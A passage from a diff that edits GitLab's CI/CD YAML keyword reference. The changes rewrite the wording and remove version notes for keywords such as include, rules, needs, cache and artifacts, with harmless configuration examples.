[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. To include files from another private project under the same GitLab instance, -use `include:file`. This file is referenced using full paths relative to the +use `include:file`. This file is referenced with full paths relative to the root directory (`/`). For example: ```yaml @@ -439,8 +437,7 @@ include: ``` All [nested includes](#nested-includes) are executed in the scope of the target project. -This means you can use local (relative to target project), project, remote, -or template includes. +You can use local (relative to target project), project, remote, or template includes. ##### Multiple files from a project @@ -490,8 +487,8 @@ include: - remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml' ``` -All [nested includes](#nested-includes) are executed without context as public user, so only another remote -or public project, or template, is allowed. +All [nested includes](#nested-includes) are executed without context as a public user, +so you can only `include` public projects or templates. #### `include:template` @@ -523,9 +520,9 @@ so it's possible to use project, remote or template includes. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. -Nested includes allow you to compose a set of includes. +Use nested includes to compose a set of includes. -A total of 100 includes is allowed, but duplicate includes are considered a configuration error. +You can have up to 100 includes, but you can't have duplicate includes. In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit to resolve all files is 30 seconds. @@ -633,10 +630,8 @@ job: #### `before_script` -> Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`before_script` is used to define commands that should run before each job, including -deploy jobs, but after the restoration of any [artifacts](#artifacts). This must be an array. +`before_script` is used to define an array of commands that should run before each job, +but after [artifacts](#artifacts) are restored. Scripts specified in `before_script` are concatenated with any scripts specified in the main [`script`](#script), and executed together in a single shell. @@ -646,27 +641,25 @@ It's possible to overwrite a globally defined `before_script` if you define it i ```yaml default: before_script: - - echo "Execute this in all jobs that don't already have a before_script section." + - echo "Execute this script in all jobs that don't already have a before_script section." job1: script: - - echo "This executes after the global before_script." + - echo "This script executes after the global before_script." job: before_script: - - echo "Execute this instead of the global before_script." + - echo "Execute this script instead of the global before_script." script: - - echo "This executes after the job's `before_script`" + - echo "This script executes after the job's `before_script`" ``` You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). #### `after_script` -Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`after_script` is used to define commands that run after each job, including failed -jobs. This must be an array. +`after_script` is used to define an array of commands that run after each job, +including failed jobs. If a job times out or is cancelled, the `after_script` commands are not executed. Support for executing `after_script` commands for timed-out or cancelled jobs @@ -688,17 +681,17 @@ Scripts specified in `after_script` are executed in a new shell, separate from a ```yaml default: after_script: - - echo "Execute this in all jobs that don't already have an after_script section." + - echo "Execute this script in all jobs that don't already have an after_script section." job1: script: - - echo "This executes first. When it completes, the global after_script executes." + - echo "This script executes first. When it completes, the global after_script executes." job: script: - - echo "This executes first. When it completes, the job's `after_script` executes." + - echo "This script executes first. When it completes, the job's `after_script` executes." after_script: - - echo "Execute this instead of the global after_script." + - echo "Execute this script instead of the global after_script." ``` You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). @@ -715,7 +708,7 @@ You can use special syntax in [`script`](README.md#script) sections to: ### `stage` `stage` is defined per-job and relies on [`stages`](#stages), which is defined -globally. It allows to group jobs into different stages, and jobs of the same +globally. Use `stage` to define which stage a job runs in, and jobs of the same `stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example: ```yaml @@ -854,9 +847,8 @@ If you do want to include the `rake test`, see [`before_script`](#before_script) `.tests` in this example is a [hidden job](#hide-jobs), but it's possible to inherit from regular jobs as well. -`extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as eleven. -The following example has two levels of inheritance: +`extends` supports multi-level inheritance. You should avoid using more than three levels, +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml .tests: @@ -922,7 +914,7 @@ rspec: - rake rspec ``` -This results in the following `rspec` job: +The result is this `rspec` job: ```yaml rspec: @@ -961,7 +953,7 @@ For example, if you have a local `included.yml` file: - echo Hello! ``` -Then, in `.gitlab-ci.yml` you can use it like this: +Then, in `.gitlab-ci.yml`: ```yaml include: included.yml @@ -991,7 +983,7 @@ If you attempt to use both keywords in the same job, the linter returns a #### Rules attributes -The job attributes allowed by `rules` are: +The job attributes you can use with `rules` are: - [`when`](#when): If not defined, defaults to `when: on_success`. - If used as `when: delayed`, `start_in` is also required. @@ -1047,7 +1039,7 @@ For example, using `if` clauses to strictly limit when jobs run: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: manual @@ -1061,11 +1053,11 @@ In this example: is added to the [merge request pipeline](../merge_request_pipelines/index.md) with attributes of: - `when: manual` (manual job) - - `allow_failure: true` (allows the pipeline to continue running even if the manual job is not run) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) - If the pipeline is **not** for a merge request, the first rule doesn't match, and the second rule is evaluated. - If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. Since no attributes were defined, it is added + is added to the scheduled pipeline. No attributes were defined, so it is added with: - `when: on_success` (default) - `allow_failure: false` (default) @@ -1076,7 +1068,7 @@ run them in all other cases: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: never @@ -1100,8 +1092,8 @@ for more details. Jobs defined with `rules` can trigger multiple pipelines with the same action. You don't have to explicitly configure rules for each type of pipeline to trigger them -accidentally. Rules that are too loose (allowing too many types of pipelines) could -cause a second pipeline to run unexpectedly. +accidentally. Rules that are too broad could cause simultaneous pipelines of a different +type to run unexpectedly. Some configurations that have the potential to cause duplicate pipelines cause a [pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. @@ -1111,7 +1103,7 @@ For example: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "false"' when: never @@ -1123,18 +1115,18 @@ other pipelines, including **both** push (branch) and merge request pipelines. W this configuration, every push to an open merge request's source branch causes duplicated pipelines. -There are multiple ways to avoid this: +There are multiple ways to avoid duplicate pipelines: - Use [`workflow: rules`](#workflowrules) to specify which types of pipelines - can run. To eliminate duplicate pipelines, allow only merge request pipelines - or push (branch) pipelines. + can run. To eliminate duplicate pipelines, use merge request pipelines only + or push (branch) pipelines only. - Rewrite the rules to run the job only in very specific cases, and avoid using a final `when:` rule: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1148,7 +1140,7 @@ without `workflow: rules`: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' when: never @@ -1159,7 +1151,7 @@ Do not include both push and merge request pipelines in the same job: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' @@ -1171,10 +1163,10 @@ and `rules` can cause issues that are difficult to troubleshoot: ```yaml job-with-no-rules: - script: "echo This job runs in branch pipelines." + script: echo "This job runs in branch pipelines." job-with-rules: - script: "echo This job runs in merge request pipelines." + script: echo "This job runs in merge request pipelines." rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1196,7 +1188,7 @@ See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) fo #### `rules:if` `rules:if` clauses determine whether or not jobs are added to a pipeline by evaluating -a simple `if` statement. If the `if` statement is true, the job is either included +an `if` statement. If the `if` statement is true, the job is either included or excluded from a pipeline. In plain English, `if` rules can be interpreted as one of: - "If this rule evaluates to true, add the job" (default). @@ -1217,7 +1209,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: always @@ -1250,7 +1242,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | `external` | When using CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | | `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`, use this in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | | `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | | `push` | For pipelines triggered by a `git push` event, including for branches and tags. | | `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | @@ -1262,7 +1254,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "schedule"' when: manual @@ -1278,7 +1270,7 @@ Another example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - if: '$CI_PIPELINE_SOURCE == "schedule"' @@ -1293,8 +1285,8 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. - `if: '$CI_COMMIT_BRANCH == "master"'`: If changes are pushed to `master`. - `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch (usually `master`). Useful if reusing the same configuration in multiple - projects with potentially different default branches. + branch (usually `master`). Use when you want to have the same configuration in multiple + projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. - `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. @@ -1325,8 +1317,8 @@ docker build: In this example: - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. -- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and allow the pipeline - to continue running even if the job is not triggered (`allow_failure: true`). +- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline + continues running even if the job is not triggered (`allow_failure: true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). To use `rules: changes` with branch pipelines instead of merge request pipelines, @@ -1350,14 +1342,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi ##### Variables in `rules:changes` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-variables-support-in-ruleschanges). **(CORE ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. Environment variables can be used in `rules:changes` expressions to determine when to add jobs to a pipeline: @@ -1376,33 +1361,12 @@ The `$` character can be used for both variables and paths. For example, if the `$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the `$` is interpreted as being part of a path. -###### Enable or disable variables support in `rules:changes` **(CORE ONLY)** - -Variables support in `rules:changes` is under development, but is ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_variable_expansion_in_rules_changes) -``` - -To disable it: - -```ruby -Feature.disable(:ci_variable_expansion_in_rules_changes) -``` - #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. `exists` accepts an array of paths and matches if any of these paths exist -as files in the repository. - -For example: +as files in the repository: ```yaml job: @@ -1412,10 +1376,7 @@ job: - Dockerfile ``` -You can also use glob patterns to match multiple files in any directory within -the repository. - -For example: +You can also use glob patterns to match multiple files in any directory in the repository: ```yaml job: @@ -1432,7 +1393,7 @@ checks. After the 10,000th check, rules with patterned globs always match. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) within `rules:` to allow a job to fail, or a manual job to +You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false` if `allow_failure:` is not defined. @@ -1442,7 +1403,7 @@ triggered by the particular rule. ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: manual @@ -1471,7 +1432,7 @@ docker build: - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - "when: never" would be redundant here. It is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are available for @@ -1513,11 +1474,10 @@ There are a few rules that apply to the usage of job policy: - `only` and `except` are inclusive. If both `only` and `except` are defined in a job specification, the ref is filtered by `only` and `except`. -- `only` and `except` allow the use of regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). -- `only` and `except` allow to specify a repository path to filter jobs for - forks. +- `only` and `except` can use regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). +- `only` and `except` can specify a repository path to filter jobs for forks. -In addition, `only` and `except` allow the use of special keywords: +In addition, `only` and `except` can use special keywords: | **Value** | **Description** | |--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -1638,8 +1598,8 @@ Only a subset of features provided by [Ruby Regexp](https://ruby-doc.org/core/Re are now supported. From GitLab 11.9.7 to GitLab 12.0, GitLab provided a feature flag to -let you use the unsafe regexp syntax. This flag allowed -compatibility with the previous syntax version so you could gracefully migrate to the new syntax. +let you use unsafe regexp syntax. After migrating to safe syntax, you should disable +this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) @@ -1789,8 +1749,8 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -The `only:changes` policy is only useful for pipelines triggered by the following -refs: +Use the `only:changes` policy for pipelines triggered by the following +refs only: - `branches` - `external_pull_requests` @@ -1799,8 +1759,8 @@ refs: CAUTION: **Caution:** In pipelines with [sources other than the three above](../variables/predefined_variables.md) `changes` can't determine if a given file is new or old and always returns `true`. -This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` -with other `only: refs` keywords is possible, but not recommended. +You can configure jobs to use `only: changes` with other `only: refs` keywords. However, +those jobs ignore the changes and always run. A basic example of using `only: changes`: @@ -1830,7 +1790,7 @@ If you use `only:changes` with [only allow merge requests to be merged if the pi you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. You can also use glob patterns to match multiple files in either the root directory -of the repository, or in _any_ directory within the repository. However, they must be wrapped +of the repository, or in _any_ directory in the repository. However, they must be wrapped in double quotes or GitLab can't parse them. For example: ```yaml @@ -1869,10 +1829,9 @@ With [pipelines for merge requests](../merge_request_pipelines/index.md), it's possible to define a job to be created based on files modified in a merge request. -To deduce the correct base SHA of the source branch, we recommend combining -this keyword with `only: [merge_requests]`. This way, file differences are correctly -calculated from any further commits, thus all changes in the merge requests are properly -tested in pipelines. +Use this keyword with `only: [merge_requests]` so GitLab can find the correct base +SHA of the source branch. File differences are correctly calculated from any further +commits, and all changes in the merge requests are properly tested in pipelines. For example: @@ -1937,11 +1896,11 @@ runs. > - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. -The `needs:` keyword enables executing jobs out-of-order, allowing you to implement -a [directed acyclic graph](../directed_acyclic_graph/index.md) in your `.gitlab-ci.yml`. +Use the `needs:` keyword to execute jobs out-of-order. Relationships between jobs +that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). -This lets you run some jobs without waiting for other ones, disregarding stage ordering -so you can have multiple stages running concurrently. +You can ignore stage ordering and run some jobs without waiting for others to complete. +Jobs in multiple stages can run concurrently. Let's consider the following example: @@ -2009,7 +1968,7 @@ This example creates four paths of execution: ##### Changing the `needs:` job limit **(CORE ONLY)** -The maximum number of jobs that can be defined within `needs:` defaults to 50. +The maximum number of jobs that can be defined in `needs:` defaults to 50. A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) can choose a custom limit. For example, to set the limit to 100: @@ -2181,7 +2140,7 @@ The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs default to false, *including* `when: manual` jobs. -When `allow_failure` is enabled and the job fails, the job shows an orange warning in the UI. +When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. However, the logical flow of the pipeline considers the job a success/passed, and is not blocked. @@ -2218,16 +2177,13 @@ failure. `when` can be set to one of the following values: -1. `on_success` - execute job only when all jobs from prior stages - succeed (or are considered succeeding because they have `allow_failure: true`). - This is the default. -1. `on_failure` - execute job only when at least one job from prior stages - fails. -1. `always` - execute job regardless of the status of jobs from prior stages. -1. `manual` - execute job manually (added in GitLab 8.10). Read about - [manual jobs](#whenmanual) below. -1. `delayed` - execute job after a certain period (added in GitLab 11.14). - Read about [delayed jobs](#whendelayed) below. +1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, + or are considered successful because they have `allow_failure: true`. +1. `on_failure` - Execute job only when at least one job in an earlier stage fails. +1. `always` - Execute job regardless of the status of jobs in earlier stages. +1. `manual` - Execute job [manually](#whenmanual). +1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. + Added in GitLab 11.14. 1. `never`: - With [`rules`](#rules), don't execute job. - With [`workflow:rules`](#workflowrules), don't run pipeline. @@ -2280,10 +2236,6 @@ The above script: #### `when:manual` -> - Introduced in GitLab 8.10. -> - Blocking manual jobs were introduced in GitLab 9.0. -> - Protected actions were introduced in GitLab 9.2. - A manual job is a type of job that is not executed automatically and must be explicitly started by a user. You might want to use manual jobs for things like deploying to production. @@ -2322,15 +2274,14 @@ can opt to disable it. ##### Protecting manual jobs **(PREMIUM)** -It's possible to use [protected environments](../environments/protected_environments.md) -to define a precise list of users authorized to run a manual job. By allowing only -users associated with a protected environment to trigger manual jobs, it's possible -to implement some special use cases, such as: +Use [protected environments](../environments/protected_environments.md) +to define a list of users authorized to run a manual job. You can authorize only +the users associated with a protected environment to trigger manual jobs, which can: -- More precisely limiting who can deploy to an environment. -- Enabling a pipeline to be blocked until an approved user "approves" it. +- More precisely limit who can deploy to an environment. +- Block a pipeline until an approved user "approves" it. -To do this, you must: +To protect a manual job: 1. Add an `environment` to the job. For example: @@ -2353,17 +2304,17 @@ To do this, you must: this list can trigger this manual job, as well as GitLab administrators who are always able to use protected environments. -Additionally, if you define a manual job as blocking by adding `allow_failure: false`, -the pipeline's next stages don't run until the manual job is triggered. You can use this -to define a list of users allowed to "approve" later pipeline -stages by triggering the blocking manual job. +You can use protected environments with blocking manual jobs to have a list of users +allowed to approve later pipeline stages. Add `allow_failure: false` to the protected +manual job and the pipeline's next stages only run after the manual job is triggered +by authorized users. #### `when:delayed` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. -Delayed job are for executing scripts after a certain period. -This is useful if you want to avoid jobs entering `pending` state immediately. +Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid +jobs immediately entering the `pending` state. You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is provided. `start_in` key must be less than or equal to one week. Examples of valid values include: @@ -2375,7 +2326,7 @@ provided. `start_in` key must be less than or equal to one week. Examples of val - `1 week` When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished. -This means this keyword can also be used for inserting delays between different stages. +This keyword can also be used for inserting delays between different stages. The timer of a delayed job starts immediately after the previous stage has completed. Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed. @@ -2398,11 +2349,7 @@ Soon GitLab Runner picks up and starts the job. ### `environment` -> - Introduced in GitLab 8.9. -> - You can read more about environments and find more examples in the -> [documentation about environments](../environments/index.md). - -`environment` is used to define that a job deploys to a specific environment. +Use `environment` to define the [environment](../environments/index.md) that a job deploys to. If `environment` is specified and no environment under that name exists, a new one is created automatically. @@ -2420,13 +2367,10 @@ deployment to the `production` environment. #### `environment:name` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the name of an environment could be defined as a string like -> `environment: production`. The recommended way now is to define it under the -> `name` keyword. -> - The `name` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `environment: name` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. The `environment` name can contain: @@ -2457,12 +2401,10 @@ deploy to production: #### `environment:url` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the URL could be added only in GitLab's UI. The -> recommended way now is to define it in `.gitlab-ci.yml`. -> - The `url` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `url` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. This optional value exposes buttons that take you to the defined URL @@ -2538,8 +2480,8 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the the runner won’t try to check out the code after the branch is deleted. The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, you can use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`. -This changes the job without overriding the global variables. +on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` +to change the job without overriding the global variables. The `stop_review_app` job is **required** to have the following keywords defined: @@ -2614,9 +2556,8 @@ To follow progress on support for GitLab-managed clusters, see the > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21971) in GitLab 8.12 and GitLab Runner 1.6. > - The `$CI_ENVIRONMENT_SLUG` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22864) in GitLab 8.15. -> - The `name` and `url` keywords can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. + +Use CI/CD [variables](../variables/README.md) to dynamically name environments. For example: @@ -2629,36 +2570,27 @@ deploy as review app: url: https://$CI_ENVIRONMENT_SLUG.example.com/ ``` -The `deploy as review app` job is marked as deployment to dynamically -create the `review/$CI_COMMIT_REF_NAME` environment, where `$CI_COMMIT_REF_NAME` +The `deploy as review app` job is marked as a deployment to dynamically +create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` is an [environment variable](../variables/README.md) set by the runner. The `$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable -for inclusion in URLs. In this case, if the `deploy as review app` job is run -in a branch named `pow`, this environment would be accessible with an URL like -`https://review-pow.example.com/`. - -This implies that the underlying server that hosts the application -is properly configured. +for inclusion in URLs. If the `deploy as review app` job runs in a branch named +`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. The common use case is to create dynamic environments for branches and use them -as Review Apps. You can see a simple example using Review Apps at +as Review Apps. You can see an example that uses Review Apps at <https://gitlab.com/gitlab-examples/review-apps-nginx/>. ### `cache` -> - Introduced in GitLab Runner v0.7.0. -> - `cache` can be set globally and per-job. -> - From GitLab 9.0, caching is enabled and shared between pipelines and jobs -> by default. -> - From GitLab 9.2, caches are restored before [artifacts](#artifacts). - `cache` is used to specify a list of files and directories that should be -cached between jobs. You can only use paths that are within the local working -copy. +cached between jobs. You can only use paths that are in the local working copy. If `cache` is defined outside the scope of jobs, it means it's set globally and all jobs use that definition. +Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). + Read how caching works and find out some good practices in the [caching dependencies documentation](../caching/index.md). @@ -2707,17 +2639,15 @@ Otherwise cache content can be overwritten. #### `cache:key` -> Introduced in GitLab Runner v1.0.0. - The `key` keyword defines the affinity of caching between jobs. You can have a single cache for all jobs, cache per-job, cache per-branch, -or any other way that fits your workflow. This way, you can fine tune caching, +or any other way that fits your workflow. You can fine tune caching, including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not set, is just literal `default`, which means everything is shared between -pipelines and jobs by default, starting from GitLab 9.0. +pipelines and jobs by default. For example, to enable per-branch caching: @@ -2810,7 +2740,7 @@ If neither file was changed in any commits, the prefix is added to `default`, so key in the example would be `test-default`. Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), -but the following are not allowed: +but cannot include: - the `/` character (or the equivalent URI-encoded `%2F`) - a value made only of `.` (or the equivalent URI-encoded `%2E`) @@ -2867,9 +2797,9 @@ rspec: `cache:when` defines when to save the cache, based on the status of the job. You can set `cache:when` to: -- `on_success` - save the cache only when the job succeeds. This is the default. -- `on_failure` - save the cache only when the job fails. -- `always` - save the cache regardless of the job status. +- `on_success` (default): Save the cache only when the job succeeds. +- `on_failure`: Save the cache only when the job fails. +- `always`: Always save the cache. For example, to store a cache whether or not the job fails or succeeds: @@ -2884,17 +2814,14 @@ rspec: #### `cache:policy` -> Introduced in GitLab 9.4. - The default behavior of a caching job is to download the files at the start of execution, and to re-upload them at the end. Any changes made by the job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step -by setting `policy: pull` in the job specification. Typically, this would be -twinned with an ordinary cache job at an earlier stage to ensure the cache -is updated from time to time: +by setting `policy: pull` in the job specification. You can add an ordinary cache +job at an earlier stage to ensure the cache is updated from time to time: ```yaml stages: @@ -2921,9 +2848,8 @@ rspec: - bundle exec rspec ... ``` -This helps to speed up job execution and reduce load on the cache server. -It is especially helpful when you have a large number of cache-using jobs executing in -parallel. +The `pull` policy speeds up job execution and reduces load on the cache server. It +can be used when you have many jobs that use caches executing in parallel. If you have a job that unconditionally recreates the cache without referring to its previous contents, you can skip the download step. @@ -2931,12 +2857,6 @@ To do so, add `policy: push` to the job. ### `artifacts` -> - Introduced in GitLab Runner v0.7.0 for non-Windows platforms. -> - Windows support was added in GitLab Runner v.1.0.0. -> - From GitLab 9.2, caches are restored before artifacts. -> - Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -> - Job artifacts are only collected for successful jobs by default. - `artifacts` is used to specify a list of files and directories that are attached to the job when it [succeeds, fails, or always](#artifactswhen). @@ -2944,6 +2864,11 @@ The artifacts are sent to GitLab after the job finishes. They are available for download in the GitLab UI if the size is not larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). +Job artifacts are only collected for successful jobs by default, and +artifacts are restored after [caches](#cache). + +[Not all executors can use caches](https://docs.gitlab.com/runner/executors/#compatibility-chart). + [Read more about artifacts](../pipelines/job_artifacts.md). #### `artifacts:paths` @@ -3079,11 +3004,8 @@ Note the following: #### `artifacts:name` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.0. - Use the `name` directive to define the name of the created artifacts -archive. You can specify a unique name for every archive, which can be -useful when you want to download the archive from GitLab. The `artifacts:name` +archive. You can specify a unique name for every archive. The `artifacts:name` variable can make use of any of the [predefined variables](../variables/README.md). The default name is `artifacts`, which becomes `artifacts.zip` when you download it. @@ -3190,16 +3112,14 @@ artifacts: #### `artifacts:when` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - `artifacts:when` is used to upload artifacts on job failure or despite the failure. `artifacts:when` can be set to one of the following values: -1. `on_success` - upload artifacts only when the job succeeds. This is the default. -1. `on_failure` - upload artifacts only when the job fails. -1. `always` - upload artifacts regardless of the job status. +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. For example, to upload artifacts only when a job fails: @@ -3211,8 +3131,6 @@ job: #### `artifacts:expire_in` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - Use `expire_in` to specify how long artifacts are active before they expire and are deleted. @@ -3264,27 +3182,25 @@ It also exposes these reports in GitLab's UI (merge requests, pipeline views, an These are the available report types: -| Keyword | Description | -|--------------------------------------------------------------------------------------------------------------------------------------|-------------| -| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | +| Keyword | Description | +|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| +| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | +| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | | [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | | 